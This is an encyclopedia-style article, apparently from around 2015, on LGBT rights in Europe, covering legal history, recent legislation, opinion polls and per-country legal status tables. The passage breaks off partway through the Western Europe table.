LGBT rights in Europe

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LGBT rights in Europe
Europe
Europe
Same-sex sexual activity legal? Legal in all 56 states
Legal in all 7 dependencies and other territories
Gender identity/expression Legal in 42 out of 56 states
Legal in 3 out of 7 dependencies and other territories
Military service Allowed to serve openly in 38 out of 52 states having an army
Legal in all 7 dependencies and other territories
Discrimination protections Legal in 43 out of 56 states
Legal in 5 out of 7 dependencies and other territories
Family rights
Recognition of
relationships
Legal in 24 out of 56 states
Legal in 4 out of 7 dependencies and other territories
Restrictions:
Same-sex marriage constitutionally banned in 12 out of 56 states
Adoption Adoption for same-sex couples legal in 19 out of 56 states
Legal in 4 out of 7 dependencies and other territories

Lesbian, gay, bisexual, and transgender (LGBT) rights are widely diverse in Europe per country. Thirteen out of the nineteen countries that have legalised same-sex marriage are situated in Europe[A]; a further eleven European countries have legalised civil unions or other forms of recognition for same-sex couples. Austria, Germany, Ireland and Switzerland are considering legislation to introduce same-sex marriage. Same-sex marriage in Slovenia and Finland is to become legal in 2015 and March 2017, respectively. Belarus, Bulgaria, Croatia, Hungary, Latvia, Lithuania, Moldova, Montenegro, Poland, Serbia, Slovakia and Ukraine have a constitutional ban on same-sex marriage.

History[edit]

A participant of 2013 Prague Pride wearing a traditional Moravian dress (Hanakia) and a sign "Good day - Olomouc greets Prague"

Although same-sex relationships were quite common (but never an equivalent to marriage between man and woman) in ancient Greece, Rome and pagan Celtic societies, after Christianity became the official religion of the Roman Empire, severe laws against homosexual behavior appeared. An edict by the Emperor Theodosius I in 390 condemned all "passive" homosexual men to death by public burning. This was followed by the Corpus Juris Civilis of Justinian I in 529, which prescribed public castration and execution for all who committed homosexual acts, both active and passive partners. Homosexual behavior, called sodomy, was considered a capital crime in most European countries, and thousands of homosexual men were executed across Europe during waves of persecution in these centuries. Lesbians were less often singled out for punishment, but they also suffered persecution and execution from time to time.[1]

Since the foundation of Poland in 966, Polish law has never defined homosexuality as a crime.[2] Forty years after Poland lost its independence in 1795, the sodomy laws of Russia, Prussia, and Austria came into force in the partitioned Polish territory. Poland regained its independence in 1918 and abandoned the laws of the occupying powers.[3][4][5] In 1932, Poland codified the equal age of consent for homosexuals and heterosexuals at 15.[6]

In Turkey, homosexuality has been legal since 1858.[7]

During the French Revolution, the French National Assembly rewrote the criminal code in 1791, omitting all reference to homosexuality. During the Napoleonic wars, homosexuality was decriminalised in territories coming under French control, such as the Netherlands and many of the pre-unification German states, however in Germany this ended with the unification of the country under the Prussian Kaiser, as Prussia had long punished homosexuality harshly. On 6 August 1942, the Vichy government made homosexual relations with anyone under twenty-one illegal as part of its conservative agenda. Most Vichy legislation was repealed after the war– but the anti-gay Vichy law remained on the books for four decades until it was finally repealed in August 1982 when the age of consent (15) was again made the same for heterosexual as well as homosexual partners.

Nevertheless, gay men and lesbians continued to live closeted lives, since moral and social disapproval by heterosexual society remained strong across Europe for another two decades, until the modern gay rights movement began in 1969.

Further information: LGBT social movements

Various countries under dictatorships in the 20th century were very anti-homosexual, such as in the Soviet Union, in Nazi Germany and in Spain under Francisco Franco's regime. In contrast, after Poland regained independence after World War I, it went on in 1932 to become the first country in 20th-century Europe to decriminalise homosexual activity[clarification needed], followed by Denmark in 1933, Iceland in 1940, Switzerland in 1942 and Sweden in 1944.

In 1962, homosexual behavior was decriminalized in Czechoslovakia, following a scientific research of Kurt Freund that included phallometry of homosexually oriented men who appeared to have given up sexual relations with other men and established heterosexual marriages. Freund came to the conclusion that homosexual orientation may not be changed.[citation needed]

In 1972, Sweden became the first country in the world to allow people who were transsexual by legislation to surgically change their sex and provide free hormone replacement therapy.[8]

In 1979, a number of people in Sweden called in sick with a case of being homosexual, in protest of homosexuality being classified as an illness. This was followed by an activist occupation of the main office of the National Board of Health and Welfare. Within a few months, Sweden became the first country in Europe from those that had previously defined homosexuality as an illness to remove it as such.[9]

In 1989, Denmark was the first country in Europe, and the world, to introduce registered partnerships for same-sex couples.[citation needed]

In 1991, Bulgaria was the first country in Europe to ban same-sex marriage.[10] Since then, eleven countries have followed (Lithuania in 1992, Belarus and Moldova in 1994, Ukraine in 1996, Poland in 1997, Latvia and Serbia in 2006, Montenegro in 2007, Hungary in 2012, Croatia in 2013 and Slovakia in 2014).[10][11]

In 2001 a next step was made, when the Netherlands opened civil marriage for same-sex couples, which made it the first country in the world to do so. Since then, ten other European states have followed (Belgium in 2003, Spain in 2005, Norway and Sweden in 2009, Portugal and Iceland in 2010, Denmark in 2012, France in 2013, the United Kingdom in 2014 and Luxembourg in 2015).[citation needed]

On 22 October 2009, the assembly of the Church of Sweden, voted strongly in favour of giving its blessing to homosexual couples,[12] including the use of the term marriage, ("matrimony"). The new law was introduced on 1 November 2009.

Recent developments[edit]

Laws regarding same-sex partnerships in Europe
  Same-sex marriage
  Foreign marriages recognized
  Other type of partnership
  Unregistered cohabitation
  Unrecognized
  Constitution limits marriage to opposite-sex couples

Includes laws that have not yet gone into effect.

In Ireland civil partnerships have been legal since 2011, and in 2013 the country held a constitutional convention on the issue of same-sex marriage rights. This has resulted in the government planning to hold a referendum in 2015 on the subject of same-sex marriage, and consequently adoption rights for gay couples as marriage and adoption rights are legally bound together under current Irish law.[citation needed] A 2013 poll shows that 75% of Irish people support allowing gay couples to marry.[13]

The Isle of Man has allowed civil partnerships since 2011, as well as Jersey in 2012.[citation needed] Liechtenstein also legalized registered partnership by 68 percent of voters via a referendum in 2011.[14]

On 1 January 2012, a new constitution of Hungary enacted by the government of Viktor Orbán, leader of the ruling Fidesz party, came into effect, restricting marriage to opposite-sex couples and containing no guarantees of protection from discrimination on account of sexual orientation.[15]

In 2012, the United Kingdom government launched a public same-sex marriage consultation,[16] intending to change the laws applying to England and Wales. Its Marriage Bill was signed into law on 17 July 2013. The Scottish government launched a similar consultation, aiming to legalise same-sex marriage by 2015. On 4 February 2014, the Scottish Parliament passed a bill to legalise same sex marriages in Scotland as well as ending the "spousal veto" that would allow spouses to deny transgender partners the ability to change their legal gender.[17]

In May 2013, France legalised same-sex marriage; with French president François Hollande signing a law authorizing adoption by marriage and adoption by gay couples.[18]

On 30 June 2013, Vladimir Putin, President of Russia, signed the Russian LGBT propaganda law into force, which was unanimously approved by the State Duma. The law makes distributing propaganda among minors in support of non-traditional sexual relationships a criminal offence.[19]

On 1 December 2013, a referendum was held in Croatia to constitutionally define marriage as a union between a woman and a man. The vote passed, with 65.87% supporting the measure, and a turnout of 37.9%.[20]

On 27 January 2014 in the Turkish Republic of Northern Cyprus (part of Cyprus occupied since the Turkish invasion of Cyprus in 1974) Turkish Cypriot deputies passed an amendment repealing a colonial-era law that punished homosexual acts with up to five years in prison by a new Criminal Code.[21]

On 14 April 2014, the Parliament of Malta voted in favour of the Civil Union Act which recognizes same-sex couples and permits them to adopt children. On the same day the Maltese parliament also voted in favour of a constitutional amendment to ban discrimination based on sexual orientation and gender identity.

On 4 June 2014, the Slovak parliament overwhelmingly approved a constitutional amendment to ban same-sex marriage, with 102 deputies for and 18 deputies against the legislation.[11]

On 18 June 2014, the Parliament of Luxembourg approved a bill to legalise same-sex marriage and adoption.[22] The law was published in the official gazette on 17 July and took effect 1 January 2015.[23][24][25]

On 15 July 2014, Croatian Parliament passed the Life Partnership Act giving same-sex couples all rights that married couples have, except for adoption.[26] However, the Act allows a parent's life partner to become the child's partner-guardian. Partner-guardianship as an institution is equal to step-child adoption in rights and responsibilities, but it does not give parental status to the parent's life partner. Criteria for partner-guardianship and step-parent adoption for opposite-sex couples are the same. Also, regardless of partner-guardianship, a parent's life partner may attain partial parental responsibility over the child either via court or consensus among the parents and life partner, even full in some cases when the court decides that it is in the child's best interest.

On 16 July 2014, the Parliament of Macedonia approved a bill to amend the Constitution to ban same-sex marriage, with 82 MPs voting for and 6 MPs voting against.[27]

In September 2014, a law went into effect in Denmark effectively dropping the former practice of requiring transgender persons to undergo ardous psychiatric evaluation and castration before being allowed legal gender change. By requiring nothing more than a statement of gender identity and subsequent confirmation of the request for gender change after a waiting period of 6 months, this means that anyone wishing their legal gender marker changed can do so with no expert-evaluation and few other formal restrictions.[28] Meanwhile Norwegian Health Minister Bent Høie has made promises that a similar law for Norway will be drafted soon. [29] On 9 October 2014, the parliament of Estonia passed the Cohabitation bill by a 40-38 vote.[30] It was signed by President Toomas Hendrik Ilves that same day and will take effect on 1 January 2016.[31]

On 27 November 2014 the Parliament of Andorra passed a Civil Union bill, legalising also joint adoption for same-sex partners. On 24 December 2014, the bill was published in the official journal, following promulgation by co-prince François Hollande as signature of one of the two co-princes was needed. It took effect on 25 December 2014.[32]

On 12 December 2014 the Parliament of Finland passed a same-sex marriage bill by a 101-90 vote.[33] The law was signed by President Sauli Niinistö on 20 February 2015. In order that the provisions of the framework law would be fully implementable further legislation has to be passed. The provisional date of the law going into effect is 1 March 2017.[34]

On 7 February 2015, Slovaks voted in a referendum to ban same sex marriage and same sex parental adoption.[35] The result of the referendum was for the proposals, with 95% and 92% votes for, respectively.[36] However, the referendum was deemed invalid because of a low turnout.[37]

On 3 March 2015 the Parliament of Slovenia passed a same-sex marriage bill by a 51-28 vote.[38]

Public opinion around Europe[edit]

2010 European Social Survey: % of people in each country who agree or strongly agree that “gay men and lesbians should be free to live their own lives as they wish.” [3]
Country Percentage
 Netherlands 92%
 Sweden 89%
 Denmark 89%
 Belgium 87%
 United Kingdom 84%
 Norway 83%
 France 82%
 Ireland 82%
  Switzerland 82%
 Germany 81%
 Spain 80%
 Finland 74%
 Czech Republic 65%
 Portugal 59%
 Greece 50%
 Slovenia 49%
 Bulgaria 47%
 Hungary 45%
 Poland 44%
 Slovakia 42%
 Estonia 41%
 Croatia 38%
 Lithuania 28%
 Ukraine 28%
 Russia 25%

In a 2002 Pew Global Attitudes Project surveyed by the Pew Research Center, showed majorities in every Western European nation said homosexuality should be accepted by society, while most Russians, Poles and Ukrainians disagreed.[39] A Eurobarometer in 2006 surveying up to 30,000 people from each European Union country, showed split opinion around the 27 member states on the issue of same sex marriage. The majority of support came from the Netherlands (82%), Sweden (71%), Denmark (69%), Belgium (62%), Luxembourg (58%), Spain (56%), Finland (54%), Germany (52%) and the Czech Republic (52%). All other countries within the EU had below 50% support; with Romania (11%), Latvia (12%), Cyprus (14%), Bulgaria (15%), Greece (15%), Lithuania (17%), Poland (17%), Hungary (18%) and Malta (18%) at the other end of the list.[40] Same sex adoption had majority support from only two countries: Netherlands at 69% and Sweden at 51% and the least support from Poland and Malta on 7% respectively.[40]

A more recent survey carried out in October 2008 by The Observer affirmed that the majority of Britons – 55% – support gay marriage.[41] A 2013 poll shows that the majority of the Irish public support gay marriage and gay adoption, 73% and 60% respectively.[42] France has support for same sex marriage at 62%,[43] and Russian at 14%.[44] Italy has support for the 'Civil Partnership Law' between gays at 45% with 47% opposed.[45] In 2009 58.9% of Italians supported civil unions, while 40.4 supported same-sex marriage.[46] In 2010, 63.9% of Greeks supported same-sex partnerships, while 38.5% supported same-sex marriage.[47] In 2012 a poll by MaltaToday[48] showed that 41% of Maltese supported same sex marriage, with support increasing to 60% amongst the 18-35 age group. In a 2013 opinion poll conducted by CBOS, 65% of Poles were against same-sex civil unions, 72% of Poles were against same-sex marriage, 88% were against adoption by same-sex couples, and 68% were against gays and lesbians publicly showing their way of life.[49] In Croatia, a poll from November 2013 revealed that 59% of Croats think that marriage should be constitutionally defined as a union between a man and a woman, while 31% do not agree with the idea.[50]

According to pollster Gallup Europe, women, younger generations, and the highly educated are more likely to support same-sex marriage and adoption rights for gay people than other demographics.[51]

Gay rights in the European Union
Opinion polls for same-sex marriage
Country Pollster Year For Against Don't Know/Neutral/No answer
 Austria Market/ORF 2014 73%[52][53] 24%[52][53] 3%[52][53]
 Belgium Ipsos 2013 67%[54] 21%[54] 12%[54]
 Bulgaria Eurobarometer 2006 15%[55] 65%[55] 20%[55]
 Croatia Pilar's barometer 2014 17%[56] 61%[56] 1% – no answer; 21% – Neutral[56]
 Cyprus SIGMALIVE 2014 39%[57] 58%[58] 2%[59]
 Czech Republic CVVM 2014 45%[60] 48%[60] 7%[60]
 Denmark YouGov 2012 79%[61] 16%[61] 6%[61]
 Estonia ASi 2012 34%[62] 60%[62] 6%
 Finland Taloustutkimus 2014 65%[63] 27%[63] 8%
 France Ifop 2014 68%[64] 32%[64] 0%[64]
 Germany RTL/Stern 2013 74%[65] 23%[65] 3%[65]
 Greece A Kapa Research 2010 39%[66][67] 52%[66][67] 9%[66][67]
 Hungary Ipsos 2014 31% 51%[68] 19%
 Ireland RedC 2014 76%[69] 19%[69] 5%[69]
 Italy Demos 2014 55%[70] 42%[70] 3%[70]
 Latvia Eurobarometer 2006 12%[55] 77%[55] 7%[55]
 Lithuania Vilmorus 2013 5%[71] 84%[71] 8%[71]
 Luxembourg Politmonitor 2013 82%[72] 17%[72] 1%[72]
 Malta MaltaToday 2012 46%[73] 51%[73] 3%
 Netherlands The Netherlands Institute for Social Research 2013 85%[74] 6%[74] 9%[74]
 Norway Ipsos 2013 78%[54] 17%[54] 4%[54]
 Poland CBOS 2013 26%[75] 68%[75] 6%[75]
 Portugal Eurosondagem 2010 52%[76] 43%[76] 5%[76]
 Romania Eurobarometer 2006 11%[55] 79%[55] 10%[55]
 Russia Levada Public Opinion Center 2013 5%[77] 85%[77] 10%
 Slovakia Eurobarometer 2006 19%[55] 81%[55] 0%[55]
 Slovenia Delo Stik 2015 59%[78] 37%[78] 4%[78]
 Spain Ipsos 2013 76%[54] 18%[54] 6%[54]
 Sweden Ipsos 2013 81%[54] 14%[54] 4%[54]
  Switzerland Ifop 2013 63%[79] - -
 Ukraine Gay Alliance of Ukraine 2013 26%:

9% support same-sex marriage, 17% support some exceptions to allow same-sex marriages to be recognized depending on each individual cases.[80]

62%[81] 12%
 United Kingdom BBC Radio 5 2014 68%[82] 26%[82] 6%


Legal status of adoption by same-sex couples in Europe
  Same-sex parental adoption legal
  Step-child adoption legal
  Single LGBT individuals may adopt
  Unknown/Ambiguous
Opinion polls for same-sex adoption
Country Pollster Year For Against Don't Know/Neutral/No answer
 Austria Der Standard 2013 56%[83] 37%[83] 7%[83]
 Belgium Ipsos 2013 67%[84] 33%[84] 0%[84]
 Bulgaria Eurobarometer 2006 12%[55] 68%[55] 20%[55]
 Cyprus Eurobarometer 2006 10%[55] 86%[55] 4%[55]
 Czech Republic CVVM: stepchild:
from institutional care:
2014 58%[60]
45%[60]
32%[60]
48%[60]
10%
7%
 Denmark YouGov 2012 59%[61] 31%[61] 11%[61]
 Estonia Eurobarometer 2006 14%[55] 79%[55] 7%[55]
 Finland Taloustutkimus 2013 51%[85] 42%[86] 7%[87]
 France Ifop 2014 53%[64] 47%[64] 0%[64]
 Germany Ipsos 2013 71%[84] 29%[84] 0%[84]
 Greece Eurobarometer 2006 11%[55] 89%[55] 0%[55]
 Hungary Eurobarometer 2006 13%[55] 81%[55] 6%[55]
 Ireland Red C Poll 2011 60%[88] - -
 Italy Ipsos 2013 42%[84] 58%[84] 0%[84]
 Latvia Eurobarometer 2006 8%[55] 89%[55] 3%[55]
 Lithuania Eurobarometer 2006 12%[55] 82%[55] 6%[55]
 Luxembourg Politmonitor 2013 55%[72] 44%[72] 1%[72]
 Malta Eurobarometer 2006 7%[73] 85%[73] 9%[73]
 Netherlands Eurobarometer 2006 69%[73] 27%[73] 4%[73]
 Poland CBOS 2013 8%[75] 87%[75] 5%[75]
 Portugal Eurobarometer 2006 19%[55] 74%[55] 8%[55]
 Romania Eurobarometer 2006 8%[55] 82%[55] 10%[55]
 Russia Levada Public Opinion Center 2013 5%[77] 80%[77] 15%[77]
 Slovakia Eurobarometer 2006 12%[55] 84%[55] 4%[55]
 Slovenia Delo Stik 2015 38%[78] 55%[78] 7%[78]
 Spain Ipsos 2013 73%[54] 27%[54] 0%[54]
 Sweden Ipsos 2013 78%[54] 21%[54] 1%[54]
  Switzerland Ifop 2013 63% 37% 0%
 Ukraine Gay Alliance of Ukraine 2013 20%:

7% support same-sex adoption, 13% support some exceptions to allow same-sex adoption depending on each individual cases.[89]

68%[90] 12%
 United Kingdom Ipsos 2013 65%[84] 35%[84] 0%[84]

Legislation by country or territory

Tables:

European Union[edit]

European Union member states are indicated with the EU flag in regional European sub-divisions.

EU Flag See: LGBT rights in the European Union
European Union law forbids discrimination on the grounds of sexual orientation. All EU states are required to legalise same-sex sexual activity and implement anti-discrimination laws.[91][92]

Central Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
European UnionAustria Austria Yes Legal since 1971
+ UN decl. sign.[93]
Yes Registered partnership since 2010[94] No (Pending)[95] No/Yes Biological step-child adoption; (Joint adoption pending)[96][97] Yes Yes Bans all anti-gay discrimination Yes Gender change Is legal.[98]
European UnionCroatia Croatia Yes Legal since 1977 (as part of Yugoslavia)
+ UN decl. sign.[93]
Yes Life partnership since 2014[99] No Constitution defines marriage as "a union between a woman and man" since the 2013 marriage referendum.[100] No/Yes Gay individuals may adopt; Partner-guardianship (parental responsibility and a permanent next-of-kins relationship between a life partner and their partner's child which is registered in the child's birth certificate) Yes Yes Bans all anti-gay discrimination[101][102][102] Yes Act on the elimination of discrimination bans all types discrimination based on both gender identity and gender expression. Gender change is regulated by special policy issued by Ministry of Health. [103]
European UnionCzech Republic Czech Republic Yes Legal since 1962 (as part of Czechoslovakia)
+ UN decl. sign.[93]
Yes Registered partnership since 2006[104] No No/Yes Gay individuals may adopt; (Step-child adoption pending). Yes Yes Bans all anti-gay discrimination[102] Yes legal recognition granted and amendment of birth certificate after reassignment surgery/
European UnionGermany Germany Yes Legal in East Germany since 1968
Legal in West Berlin and West Germany since 1969
+ UN decl. sign.[93][105]
Yes Registered life partnership since 2001[106] No (Pending)[107] No/Yes Step-child adoption; (Joint adoption pending) Yes Yes Bans some anti-gay discrimination Yes Gender change is legal.[108]
European UnionHungary Hungary Yes Legal since 1962
+ UN decl. sign.[93]
Yes Registered partnership since 2009[109] No Constitutionally banned since 2012 No/Yes Gay individuals may adopt. Yes Yes Bans all anti-gay discrimination[102] Yes Full legal recognition granted, birth certificate replaced. No surgery or hormone therapy is required for legal gender change.
Liechtenstein Liechtenstein Yes Legal since 1989
+ UN decl. sign.[93]
Yes Registered partnership since 2011[110] No No Has no military No No(Gender change Not Legal) [98]
European UnionPoland Poland Yes
(Illegal from 1939/1941-1944/1945 under annexation of Nazi Germany and illegal from 1939-1941 under annexation of the Soviet Union)
+ UN decl. sign.[93]
No (Pending)[111][112][113][114][115] No Article 18 of the Constitution can be interpreted as a ban (due to its vagueness), but the lawyers question this interpretation, for the same reason[116][117] No/Yes Gay individuals may adopt Yes Yes Bans some anti-gay discrimination Yes
European UnionRomania Romania Yes Legal since 1996
+ UN decl. sign.[93]
No (Pending) No No/Yes Gay individuals may adopt. Yes Yes Bans all anti-gay discrimination[102] Yes Legal recognition and birth certificates amended after reassignment surgery
European UnionSlovakia Slovakia Yes Legal since 1962 (as part of Czechoslovakia)
+ UN decl. sign.[93]
No No Constitutionally banned since 2014. No/Yes Gay individuals may adopt Yes Yes Bans all anti-gay discrimination[118][119] Yes (Requires sterilization for change).[98]
European UnionSlovenia Slovenia Yes Legal since 1977 (as part of Yugoslavia)
+ UN decl. sign.[93]
Yes Registered partnership since 2006[120] Yes Legal since 2015 Yes Legal since 2015 Yes Yes Bans all anti-gay discrimination[102] Yes Gender change is legal.[121]
Switzerland Switzerland Yes Legal nationwide since 1942
Legal in the cantons of Geneva, Ticino, Valais and Vaud (as part of France) since 1798
+ UN decl. sign.[93]
Yes Registered partnership since 2007[122] No (Pending)[123] (Constitutional ban pending) No/Yes Gay individuals may adopt; (Biological step-child adoption pending).[124] Yes Yes Bans some anti-gay discrimination. (Banning all anti-gay discrimination pending) Yes Legal documents can be issued based on a person's new gender identity. Sterilization technically required not enforced since 2012. Registered Partnership can become Marriage between the new opposite-sex couple[125].

Eastern Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
Armenia Armenia Yes Legal since 2003
+ UN decl. sign.[93]
No No No Yes/No No explicit ban. However, LGBT persons have been reportedly discharged because of their sexual orientation.[126] No No
Azerbaijan Azerbaijan Yes Legal since 2000[93] No No No Emblem-question.svg No Yes (Requires sterilization for change).[98]
Belarus Belarus Yes Legal since 1994[93] No No Consititutionally banned since 1994 No Yes/No Banned from military service during peacetime, but during wartime homosexuals are permitted to enlist as partially able.[127] No LGBT activism/expression deemed terrorism[128] Yes[129]
Georgia (country) Georgia Yes Legal since 2000
+ UN decl. sign.[93]
No No (Constitutional ban proposed) No Emblem-question.svg Yes Bans all anti-gay discrimination[130] Yes (Requires sterilization for change)[98]
Kazakhstan Kazakhstan Yes Legal since 1998[93] No No No No No Emblem-question.svg
Moldova Moldova Yes Legal since 1995
+ UN decl. sign.[93]
No No Constitutionally banned since 1994. No Yes Yes Bans some anti-gay discrimination [102] Yes (Requires sterilization for change)[98]
Russia Russia Yes Male legal since 1993
Female always legal[131][93]
No No (Constitutional ban proposed) Yes/No Singles are allowed to adopt. Yes No Yes (Requires sterilization for change)[98]
Ukraine Ukraine Yes Legal since 1991
+ UN decl. sign.[93]
No No Constitutionally banned since 1996 Yes/No Singles are allowed to adopt. Yes/No Policies depend on the regional commissioners. Yes Bans all anti-gay discrimination Yes (Requires sterilization for change)[98]

Northern Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
European UnionDenmark Denmark Yes Legal since 1933
+ UN decl. sign.[93]
Yes Registered partnership from 1989 to 2012 (Existing partnerships are still recognized.) Yes Legal since 2012 Yes Legal since 2010 Yes Yes Bans all anti-gay discrimination Yes Legal gender change and recognition possible without surgery or hormone therapy.[132]
European UnionEstonia Estonia Yes Legal since 1992
+ UN decl. sign.[93]
Yes Cohabitation agreement from 2016[133] No No/Yes Step-child adoption from 2016, Gay individuals may adopt Yes Yes Bans all anti-gay discrimination[102] Yes Forbids discrimination based on gender identity.
Faroe Islands Faroe Islands
(constituent country of the Kingdom of Denmark)
Yes Legal since 1933
+ UN decl. sign.[93]
No No No Yes (Denmark responsible for defence) Yes Bans some anti-gay discrimination No[134]
European UnionFinland Finland Yes Legal since 1971
+ UN decl. sign.[93]
Yes Registered partnership since 2002[135] Yes From March 2017[136] Yes From March 2017 Yes Yes Bans all anti-gay discrimination[102] Yes Legal change and recognition is possible only with sterilization[137]
Greenland Greenland
(constituent country of the Kingdom of Denmark)
Yes Legal since 1933
+ UN decl. sign.[93]
Yes Registered partnership since 1996. No (Pending). Yes/No Step-child adoption only; (Joint adoption pending). Yes Denmark responsible for defence. Yes Bans some anti-gay discrimination. No
Iceland Iceland Yes Legal since 1940
(as part of Denmark)
+ UN decl. sign.[93]
Yes Registered cohabitation since 2006[138];
Registered partnership from 1996 to 2010 (Existing partnerships are still recognized.)
Yes Legal since 2010 Yes Legal since 2006 Has no military Yes Bans all anti-gay discrimination Yes Documents can be amended to the recognised gender.
European UnionLatvia Latvia Yes Legal since 1992
+ UN decl. sign.[93]
No No
Constitutionally banned since 2006
No/Yes Gay individuals may adopt Yes Yes Bans some anti-gay discrimination[102] Yes Documents are amended accordingly, no medical intervention required.[139]
European UnionLithuania Lithuania Yes Legal since 1993
+ UN decl. sign.[93]
No (Pending)[140] No
Constitutionally banned since 1992
No Only married couples can adopt Yes Yes Bans all anti-gay discrimination / No There is a law which can be, and actually was, interpreted as a ban on public speech about LGBT Yes Gender change legal since 2003.[141]
Norway Norway Yes Legal since 1972
+ UN decl. sign.[93]
Yes Registered partnership from 1993 to 2009 (Existing partnerships are still recognized.) Yes Legal since 2009 Yes Legal since 2009 Yes Yes Bans all anti-gay discrimination.[142] Yes All documents can be amended to the recognised gender.
European UnionSweden Sweden Yes Legal since 1944
+ UN decl. sign.[93]
Yes Registered partnership from 1995 to 2009 (Existing partnerships are still recognized.) Yes Legal since 2009 Yes Legal since 2003 Yes Yes Bans all anti-gay discrimination[102] Yes

Southern Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
Akrotiri and Dhekelia Akrotiri and Dhekelia
(overseas territory of the United Kingdom)
Yes Legal since 2000
+ UN decl. sign.[93]
No No Emblem-question.svg Yes UK responsible for defence Emblem-question.svg Emblem-question.svg
Albania Albania Yes Legal since 1995
+ UN decl. sign.[93]
No (Pending) No No Yes Yes Bans all anti-gay discrimination[102] Yes Forbids discrimination based on gender identity.

No Gender change not legal.[98]

Andorra Andorra Yes Legal since 1990
+ UN decl. sign.[93]
Yes Stable union since 2005[143]; Civil union since 2014.[144] No Yes Legal since 2014[145][146][147] Has no military Yes Bans all anti-gay discrimination[102] No Gender change not legal
Bosnia and Herzegovina Bosnia and Herzegovina Yes Legal since 1998 in the Federation of Bosnia and Herzegovina, Republika Srpska in 2000, and Brcko District in 2001
+ UN decl. sign.[93]
No No No Yes Yes Bans some anti-gay discrimination[102] No
European UnionBulgaria Bulgaria Yes Legal since 1968
+ UN decl. sign.[93]
No No Constitutionally banned since 1991. No/Yes Single gay persons may adopt. Yes Yes Bans all anti-gay discrimination Yes (Requires sterilization for change). Forbids discrimination based on gender identity. [148] [149]
European UnionCyprus Cyprus Yes Legal since 1998
+ UN decl. sign.[93]
No (Proposed)[150] No No No Yes Bans all anti-gay discrimination[102] Yes Forbids discrimination based on gender identity.
European UnionGibraltar Gibraltar
(overseas territory of the United Kingdom)
Yes Legal since 1993
+ UN decl. sign.[93]
Yes Civil partnership since 2014[151] No Yes Legal since 2014 Yes UK responsible for defence Yes Bans some anti-gay discrimination X mark.svg Gender change not legal
European UnionGreece Greece Yes Legal since 1951
(Age of consent discrepancy)
+ UN decl. sign.[93]
No (Proposed)[152] No No Yes Yes Bans all anti-gay discrimination Yes (Requires sterilization for change)
European UnionItaly Italy Yes Legal since 1890
Legal in parts of Friuli-Venezia Giulia, along with Trentino-Alto Adige/Südtirol since 1919
(Illegal in parts of Friuli-Venezia Giulia, illegal in parts of Veneto, along with Trentino-Alto Adige/Südtirol from 1943-1945 under annexation of Nazi Germany)
+ UN decl. sign.[93]
No (Pending)[153][154][155] No (Pending)[156][157][158] No Yes Yes Bans some anti-gay discrimination Yes Since 1982 legal recognition and documents can be amended to the recognised gender.[159]
Republic of Macedonia Macedonia Yes Legal since 1996
+ UN decl. sign.[93]
No No (Constitutional ban pending)[160] No Yes No No
European UnionMalta Malta Yes Legal since 1973
+ UN decl. sign.[93]
Yes Civil union since 2014[161] Yes/No Marriage performed abroad recognized since 2014[162][163] Yes Legal since 2014 Yes Yes Bans all anti-gay discrimination Yes Since 2015.[164]
Montenegro Montenegro Yes Legal since 1977 (as part of Yugoslavia)
+ UN decl. sign.[93]
No No Constitutionally banned since 2007. No Yes Yes Bans all anti-gay discrimination[102] Yes (Requires sterilization for change).[98] Forbids discrimination based on gender identity.
European UnionPortugal Portugal Yes Legal since 1983
+ UN decl. sign.[93]
Yes Unregistered cohabitation since 2001 Yes Legal since 2010[165] No Same-sex couples may not adopt
Yes Single gay persons may adopt
Yes Yes Bans all anti-gay discrimination. Yes Since 2011, All documents can be amended to the recognised gender.
San Marino San Marino Yes Legal since 1865
+ UN decl. sign.[93]
Yes Unregistered cohabitation since 2012 (only for one entitlement) No No Emblem-question.svg Yes Bans some anti-gay discrimination No Gender change not legal.[98]
Serbia Serbia Yes Legal from 1858, when nominally a vassal of Ottoman Empire to 1860[166] and again since 1994 (as part of Yugoslavia)
+ UN decl. sign.[93]
No No Constitutionally banned since 2006. No Yes Yes Bans all anti-gay discrimination[102] Yes Gender change is legal (since 2007).
European UnionSpain Spain Yes Legal since 1979
+ UN decl. sign.[93]
Yes Unregistered cohabitation since 1994. Since 1997, different cities and regions have legislated their own version of civil union.[167] Yes Legal since 2005 Yes Legal since 2005 Yes Yes Bans all anti-gay discrimination[102] Yes Since 2007, all documents can be amended to the recognised gender[168]
Turkey Turkey Yes Legal since 1858[93] No No No No (Proposed)[169] No (Proposed)[170] Yes (Requires sterilization for change)
Vatican City Vatican City Yes Legal since 1890 (as part of Italy)[93] No No No Has no military No X mark.svg

Western Europe[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples Allows gays to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
European UnionBelgium Belgium Yes Legal nationwide since 1795
(as part of France)

Legal in Eupen-Malmedy since 1919
(Illegal from 1944-1944/1945 as part of Reichskommissariat Belgien-Nordfrankreich and under annexation of Nazi Germany)
+ UN decl. sign.[93]

Yes Statutory cohabitation since 2000[171] Yes Legal since 2003 Yes Legal since 2006 Yes Yes Bans all anti-gay discrimination Yes The 2007 law concerning transsexuality[172] grants the right to a legal name and gender change (Requires hormone treatment for name change and sterilization for gender change)
European UnionFrance France Yes Legal nationwide since 1791
Legal in Savoy since 1792
Legal in parts of Alpes-Maritimes, Bas-Rhin, Haute-Saône, Moselle, and Vosges since 1793
Legal in parts of Haut-Rhin since 1798
Legal in parts of Alpes-Maritimes, Hautes-Alpes and Savoie since 1890
(as part of Italy)
